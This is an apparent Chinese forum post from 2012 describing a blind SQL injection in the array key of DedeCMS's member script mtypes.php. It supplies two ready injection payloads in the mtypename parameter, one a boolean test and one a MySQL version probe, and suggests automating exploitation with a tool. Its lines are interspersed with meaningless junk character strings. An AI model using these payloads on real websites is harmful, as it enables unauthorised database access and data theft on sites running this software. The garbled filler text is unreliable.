需要magic_quotes_gpc = Off,所以说是鸡肋啊.4 I, R, x( J. c7 [7 J3 E$ N+ O
5 v/ l* E, S3 ~
1 O V5 u r) G1 q* d发生在数组key里的注射漏洞,有点意思.
S# z7 |! A7 ?
% R: m, J7 t3 D% f- ^' c/ S这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下" M- p: _" M2 L2 {
+ V- V j" k! g' l
http://www.xxx.com /dede/member/mtypes.php?dopost=save
" ?( @) u7 p, E* g0 g# l% X- w3 l' n ! t+ @, E* j: j. B
exploit:2 w3 \8 h* q) j) w$ H! D: H8 g& V
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r- h0 ?& `5 X9 r5 f: e/ c
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
! w) m& D% @+ {* n( C$ b* x |
发表于 2012-12-20 08:08:09
收藏
支持
反对